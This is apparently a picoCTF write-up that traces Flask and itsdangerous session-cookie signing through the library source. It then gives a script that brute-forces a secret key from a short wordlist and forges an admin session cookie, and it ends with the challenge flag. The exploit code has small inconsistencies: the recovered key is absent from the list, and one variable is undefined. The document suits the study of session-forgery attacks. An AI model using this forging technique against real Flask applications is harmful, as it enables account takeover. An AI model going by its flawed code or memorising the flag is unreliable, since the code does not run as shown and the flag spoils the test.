

.local/lib/python3.10/site-packages/itsdangerous/url\_safe.py

```
class URLSafeSerializerMixin(Serializer[str]):
    """Mixed in with a regular serializer it will attempt to zlib
    compress the string to make it shorter if necessary. It will also
    base64 encode the string so that it can safely be placed in a URL.
    """

    default_serializer: _PDataSerializer[str] = _CompactJSON

    def load_payload(
        self,
        payload: bytes,
        *args: t.Any,
        serializer: t.Any | None = None,
        **kwargs: t.Any,
    ) -> t.Any:
        decompress = False

        if payload.startswith(b"."):
            payload = payload[1:]          # get the data after #
            decompress = True

        try:
            json = base64_decode(payload)
        except Exception as e:
            raise BadPayload(
                "Could not base64 decode the payload because of an exception",
                original_error=e,
            ) from e

        if decompress:
            try:
                json = zlib.decompress(json)
            except Exception as e:
                raise BadPayload(
                    "Could not zlib decompress the payload before decoding the
payload",
```

```

        original_error=e,
    ) from e

    return super().load_payload(json, *args, **kwargs)

```

load\_payload() method is used for remove the dot (".") from payload and decode to base64, this process like the first part of flask cookie, then return the bytes by `zlib.decompress`

```

eyJsb2dnZWRfaw4iOmZhbHNlfQ . XD88aw . AhuKIwFPpzGDFLVbTcsmgEJu-s4
    Session Data           Timestamp           Cryptographic Hash

```

Here is example of encode airflow in Flask:

- dump\_payload() in url\_safe.py
- encoding.py

```

import zlib
import base64

trg = b'truong'

def base64_decode(string: str | bytes) -> bytes:
    """Base64 decode a URL-safe string of bytes or text. The result is
    bytes.
    """
    string = want_bytes(string, encoding="ascii", errors="ignore")
    string += b"=" * (-len(string) % 4)

    try:
        return base64.urlsafe_b64decode(string)
    except (TypeError, ValueError) as e:
        raise BadData("Invalid base64-encoded data") from e

```

```

def want_bytes(
    s: str | bytes, encoding: str = "utf-8", errors: str = "strict"
) -> bytes:
    if isinstance(s, str):
        s = s.encode(encoding, errors)

    return s

def base64_encode(string: str | bytes) -> bytes:
    """Base64 encode a string of bytes or text. The resulting bytes are
    safe to use in URLs.
    """
    string = want_bytes(string)
    return base64.urlsafe_b64encode(string).rstrip(b"=")

compressed = zlib.compress(trg)
base64d = base64_encode(compressed)

base64d = b'.' + base64d

print(base64d)

```

In write-up Baking Flask cookie, we got note that class `SecureCookieSessionInterface` in `flask/session.py` is handling the cookie.

The `def get_signing_serializer()` cookie function return the `URLSafeTimedSerializer` the which call the function `URLSafeSerializerMixin` as i analyzed in upper part, inherited form `Serializer` class (Mixed in with a regular serializer it will attempt to `zlib` compress the string to make it shorter if necessary. It will also `base64` encode the string so that it can safely be placed in a URL.)

All the COOKIE-HANDLING code is at “`itsdangerous`” folder Python package  
Verifying the cryptographic part (last of JWT) is handled by `signer.py`.

## `serializer.loads(signed_value)`

- **Purpose:** This method is used to **verify and deserialize the signed session cookie**.

=> call to signer object and check

```
def loads(
    self, s: str | bytes, salt: str | bytes | None = None, **kwargs: t.Any
) -> t.Any:
    """Reverse of :meth:`dumps`. Raises :exc:`.BadSignature` if the
    signature validation fails.
    """
    s = want_bytes(s)
    last_exception = None
    for signer in self.iter_unsigners(salt):
        try:
            return self.load_payload(signer.unsign(s))
        except BadSignature as err:
            last_exception = err
    raise t.cast(BadSignature, last_exception)
```

## `serializer.dumps(cookie_value)`

- **Purpose:** This method is used to **create a signed session cookie**.

=> take the secret and signing

```

def dumps(self, obj: t.Any, salt: str | bytes | None = None) -> _TSerialized:
    """Returns a signed string serialized with the internal
    serializer. The return value can be either a byte or unicode
    string depending on the format of the internal serializer.
    """
    payload = want_bytes(self.dump_payload(obj))
    rv = self.make_signer(salt).sign(payload)

    if self.is_text_serializer:
        return rv.decode("utf-8") # type: ignore[return-value]

    return rv # type: ignore[return-value]

```

### \*\*\* Exploitation \*\*\*

In 295, dist-packages/flask/sessions.py

```

- salt = "cookie-session"
- digest_method = staticmethod(_lazy_sha1)           // sha1
// key derivation method
- key_derivation = "hmac"

```

// A python serializer for the payload. The default is a compact JSON derived serializer with support for some extra Python types such as datetime objects or tuples

```

- serializer = session_json_serializer == TaggedJSONSerializer()

```

.def `get_signing_serializer()` => return

```

    return URLSafeTimedSerializer(
        app.secret_key,
        salt=self.salt,
        serializer=self.serializer,
        signer_kwargs=signer_kwargs,
    )

```

```

def open_session(self, app: Flask, request: Request) -> SecureCookieSession | None:
    s = self.get_signing_serializer(app)
    if s is None:
        return None
    val = request.cookies.get(self.get_cookie_name(app))
    if not val:
        return self.session_class()
    max_age = int(app.permanent_session_lifetime.total_seconds())
    try:
        data = s.loads(val, max_age=max_age)
        return self.session_class(data)
    except BadSignature:
        return self.session_class()

```

Get a URLSafeTimedSerializer object by Flask object. Then assign the value of the cookie name to “val”. If “val” is falsy, reload the session.

- data = s.loads(val, max\_age=max\_age)

loads function in timed.py:

```

class TimedSerializer(Serializer[_TSerialized]):
    def loads( # type: ignore[override]
    ) -> t.Any:
        """Reverse of :meth:`dumps`, raises :exc:`.BadSignature` if the
        signature validation fails. If a ``max_age`` is provided it will
        ensure the signature is not older than that time in seconds. In
        case the signature is outdated, :exc:`.SignatureExpired` is
        raised. All arguments are forwarded to the signer's
        :meth:`~TimestampSigner.unsign` method.
        """
        s = want_bytes(s)
        last_exception = None

        for signer in self.iter_unsigners(salt):
            try:
                base64d, timestamp = signer.unsign(
                    s, max_age=max_age, return_timestamp=True
                )
                payload = self.load_payload(base64d)

                if return_timestamp:
                    return payload, timestamp

                return payload
            except SignatureExpired:
                # The signature was unsigned successfully but was
                # expired. Do not try the next signer.
                raise
            except BadSignature as err:
                last_exception = err

        raise t.cast(BadSignature, last_exception)

```

s : JWT cookie

So, if call to open\_session(), then the Flask object do the validation by loads(), both check max-age and cryptographic. The loads() function in timed.py also called to unsign() If everything is go true

so the function iterate all signer, signer is a used for unsign => verify the crypto

unsign() used in timed.py also inherited from class Signer, and check the timestamp for validation

```
22 class TimestampSigner(Signer):
72     def unsign(
87         """
88         try:
89             result = super().unsign(signed_value)
90             sig_error = None
91         except BadSignature as e:
92             sig_error = e
93             result = e.payload or b""
94
```

result = abc.cde

if the verify with secret key and signature is going well

```
244 def unsign(self, signed_value: str | bytes) -> bytes:
245     """Unsigns the given string."""
246     signed_value = want_bytes(signed_value)
247
248     if self.sep not in signed_value:
249         raise BadSignature(f"No {self.sep!r} found in value")
250
251     value, sig = signed_value.rsplit(self.sep, 1)
252
253     if self.verify_signature(value, sig):
254         return value
255
256     raise BadSignature(f"Signature {sig!r} does not match", payload=value)
257
```

```
- value, sig = signed_value.rsplit(self.sep, 1)
```

=> abc.cde.efg => value = abc.cde, sig = efg

```

227     def verify_signature(self, value: str | bytes, sig: str | bytes) -> bool:
228         """Verifies the signature for the given value."""
229         try:
230             sig = base64_decode(sig)
231         except Exception:
232             return False
233
234         value = want_bytes(value)
235
236         for secret_key in reversed(self.secret_keys):
237             key = self.derive_key(secret_key)
238
239             if self.algorithm.verify_signature(key, value, sig):
240                 return True
241
242         return False

```

- for secret\_key in reversed(self.secret\_keys)

=> Loop secret key with reverse order

- key = self.derive\_key(secret\_key)

=>

```

194     """
195     if secret_key is None:
196         secret_key = self.secret_keys[-1]
197     else:
198         secret_key = want_bytes(secret_key)
199
200     if self.key_derivation == "concat":
201         return t.cast(bytes, self.digest_method(self.salt + secret_key).digest())
202     elif self.key_derivation == "django-concat":
203         return t.cast(
204             bytes, self.digest_method(self.salt + b"signer" + secret_key).digest()
205         )
206     elif self.key_derivation == "hmac":
207         mac = hmac.new(secret_key, digestmod=self.digest_method)
208         mac.update(self.salt)
209         return mac.digest()
210     elif self.key_derivation == "none":
211         return secret_key
212     else:
213         raise TypeError("Unknown key derivation method")
214

```

- Secret\_key is defined before, so server convert the secret\_key to byte, our case is hmac

This creates a new HMAC object using the provided **secret\_key** and a specific **digest (hashing) method** in our case is SHA-1, HMAC object that can be used to generate a hash (digest) from data combined with the secret key



- `mac.update(self.salt)` => add salt to HMAC object

`HMAC(key, message) = H( (K ⊕ opad) || H( (K ⊕ ipad) || message ) )`

- `return mac.digest()` => return the value after hashed
- 

=> `key = self.derive_key(secret_key)` => generate derived key.(KDF and SHA-1)

Returning to:

```

227     def verify_signature(self, value: str | bytes, sig: str | bytes) -> bool:
228         """Verifies the signature for the given value."""
229         try:
230             sig = base64_decode(sig)
231         except Exception:
232             return False
233
234         value = want_bytes(value)
235
236         for secret_key in reversed(self.secret_keys):
237             key = self.derive_key(secret_key)
238
239             if self.algorithm.verify_signature(key, value, sig):
240                 return True
241
242         return False

```

Then key is iterated in list `secret_keys`, generate its KDF key with HMAC and SHA-1, then verify it with given value by

```

- verify_signature(key, value, sig)
23     Verifies the given signature matches the expected signature.
24     def verify_signature(self, key: bytes, value: bytes, sig: bytes) -> bool:
25         """Verifies the given signature matches the expected
26         signature.
27         """
28         return hmac.compare_digest(sig, self.get_signature(key, value))
29
62     def get_signature(self, key: bytes, value: bytes) -> bytes:
63         mac = hmac.new(key, msg=value, digestmod=self.digest_method)
64         return mac.digest()
65

```

This function compare the sig, with the signature output of given key and given value (input first part of cookie `abc.def`). This return the signature of combining secret key and message

=> Back to unsign()

```
244     def unsign(self, signed_value: str | bytes) -> bytes:
245         """Unsigns the given string."""
246         signed_value = want_bytes(signed_value)
247
248         if self.sep not in signed_value:
249             raise BadSignature(f"No {self.sep!r} found in value")
250
251         value, sig = signed_value.rsplit(self.sep, 1)
252
253         if self.verify_signature(value, sig):
254             return value
255
256         raise BadSignature(f"Signature {sig!r} does not match", payload=value)
257
```

signed\_value is the given cookie: abc.cde.efg, after rsplit => value = abc.cde  
sig = efg

if value is passed all function after it, then the unsign() is returning the abc.cde

=> back to unsign() in TimestampSigner(Signer) in timed.py

```
88     try:
89         result = super().unsign(signed_value)          # result = abc.cde
90         sig_error = None
91
92     if sep not in result:                               # if "." not in result => going wrong
93         if sig_error:
94             raise sig_error
95
96     value, ts_bytes = result.rsplit(sep, 1)
97     ts_int: int | None = None
98     ts_dt: datetime | None = None
99
```

=> value = abc  
ts\_bytes = cde

```
112     try:
113         ts_int = bytes_to_int(base64_decode(ts_bytes))
114     except Exception:
```

example: tsbytes = Zt-Gw  
=> ts\_int = 1725939227

```

137         # Check timestamp is not older than max_age
138         if max_age is not None:
139             age = self.get_timestamp() - ts_int
140
141         if age > max_age:
142             raise SignatureExpired(
143                 f"Signature age {age} > {max_age} seconds",
144                 payload=value,
145                 date_signed=self.timestamp_to_datetime(ts_int),
146             )
147
148         if age < 0:
149             raise SignatureExpired(
150                 f"Signature age {age} < 0 seconds",
151                 payload=value,
152                 date_signed=self.timestamp_to_datetime(ts_int),
153             )
154
155         if return_timestamp:
156             return value, self.timestamp_to_datetime(ts_int)
157
158         return value

```

If current time - given time => error

unsign() return both value and given timestamp if flag return\_timestamp is true

- If the unsign successful => return\_timestamp = true => base64d = value (abc)  
timestamp = int(cde)

```

199         s = want_bytes(s)                                # JWT cookie
200         last_exception = None
201
202         for signer in self.iter_unsigners(salt):
203             try:
204                 base64d, timestamp = signer.unsign(
205                     s, max_age=max_age, return_timestamp=True
206                 )
207                 payload = self.load_payload(base64d)
208
209                 if return_timestamp:
210                     return payload, timestamp
211
212                 return payload
213             except SignatureExpired:
214                 # The signature was unsigned successfully but was
215                 # expired. Do not try the next signer.
216                 raise
217             except BadSignature as err:
218                 last_exception = err
219
220         raise t.cast(BadSignature, last_exception)
221

```

- load\_payload() is a function that check if its text, then decode it into "utf-8"

Example:

```
test = b'trg'
print(test.decode("utf-8"))
```

=> Print 'trg' to the screen

```
245     def load_payload(
246         self, payload: bytes, serializer: _PDataSerializer[t.Any] | None = None
247     ) -> t.Any:
248         """Loads the encoded object. This function raises
249         :class:`.BadPayload` if the payload is not valid. The
250         ``serializer`` parameter can be used to override the serializer
251         stored on the class. The encoded ``payload`` should always be
252         bytes.
253         """
254         if serializer is None:
255             use_serializer = self.serializer
256             is_text = self.is_text_serializer
257         else:
258             use_serializer = serializer
259             is_text = is_text_serializer(serializer)
260
261         try:
262             if is_text:
263                 return use_serializer.loads(payload.decode("utf-8")) # type: ignore[arg-type]
264
265             return use_serializer.loads(payload) # type: ignore[arg-type]
266         except Exception as e:
267             raise BadPayload(
268                 "Could not load the payload because an exception"
269                 " occurred on unserializing the data.",
270                 original_error=e,
271             ) from e
272
```

Then its call loads function in protocol \_PDataSerializer, which is overloaded by loads() in Deserializer class:

payload: abc(bytes)

=> loads(payload.decode("utf-8")) => loads('eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9')

return use\_serializer.loads('eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9')

```

330     def loads(
331         self, s: str | bytes, salt: str | bytes | None = None, **kwargs: t.Any
332     ) -> t.Any:
333         """Reverse of :meth:`dumps`. Raises :exc:`.BadSignature` if the
334         signature validation fails.
335         """
336         s = want_bytes(s)
337         last_exception = None
338
339         for signer in self.iter_unsigners(salt):
340             try:
341                 return self.load_payload(signer.unsign(s))
342             except BadSignature as err:
343                 last_exception = err

```

Then here, this do a `unsign()` function for checking the cryptographic  
=> return

Then return a `SecureCookieSession` with data is the payload (“very\_auth” = “admin”)

```

329         data = s.loads(val, max_age=max_age)
330         return self.session_class(data)

```

## Payload

so for crack the cookie, we need to simulate all the process, then reverse it. Firstly, add all file in module “itsdangerous” to our exploit directory

JWT: abc.cde.efg

sessions.py -> `open_session()` -> `loads()` -> return “abc” -> `signer.unsign()` -> verifying sign, timestamp -> return payload: “abc”, timestamp: “cde” -> `super().unsign(JWT)`  
-> verifying signature -> derive key from secret key -> verifying (key, abc.cde, efg) return abc.cde -> compare hmac of sig and `get_signature(key, abc.cde)`

So, we just need to call the function `loads()`, the entire sequence is automatically processing

=> payload:

```

1  from .timed import TimestampSigner
2  from .url_safe import URLSafeTimedSerializer
3  from flask.json.tag import TaggedJSONSerializer
4  from hashlib import sha1
5  from .exc import BadSignature
6
7  secret_keys = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap"]
8  cookie = 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZuFMUQ.TSo7e1UwHHmAvToyoC6c7sGeLtg'
9
10 for secret in secret_keys:
11     try:
12         serializer = URLSafeTimedSerializer(
13             secret_key=secret,
14             salt="cookie-session",
15             serializer=TaggedJSONSerializer,
16             signer=TimestampSigner,
17             signer_kwargs={
18                 'key_derivation': 'hmac',
19                 'digest_method': sha1
20             }).loads(cookie)
21     except BadSignature:
22         continue
23
24     print('Secret key: {}'.format(secret))

```

This declare a new serializer by URLSafeTimedSerializer class, if everything is going well, print the secret to screen.

So, we got the secret key is "peanut butter"

So, what we need to do now is changing very\_auth to admin, with secret\_key =>

```

28 session = {'very_auth': 'admin'}
29 print(URLSafeTimedSerializer(
30     secret_key=shhh,
31     salt='cookie-session',
32     serializer=TaggedJSONSerializer(),
33     signer=TimestampSigner,
34     signer_kwargs={
35         'key_derivation': 'hmac',
36         'digest_method': sha1
37     }
38 ).dumps(session))
39
40 # as i mentioned before
41 #     serializer.loads(signed_value)
42 #         Purpose: This method is used to verify and deserialize the signed session cook
43
44 #     serializer.dumps(cookie_value)
45 #         serializer.dumps(cookie_value)
46 #         Purpose: This method is used to create a signed session cookie.
47

```

Flag:

picoCTF{pwn\_4ll\_th3\_cook1E5\_22fe0842}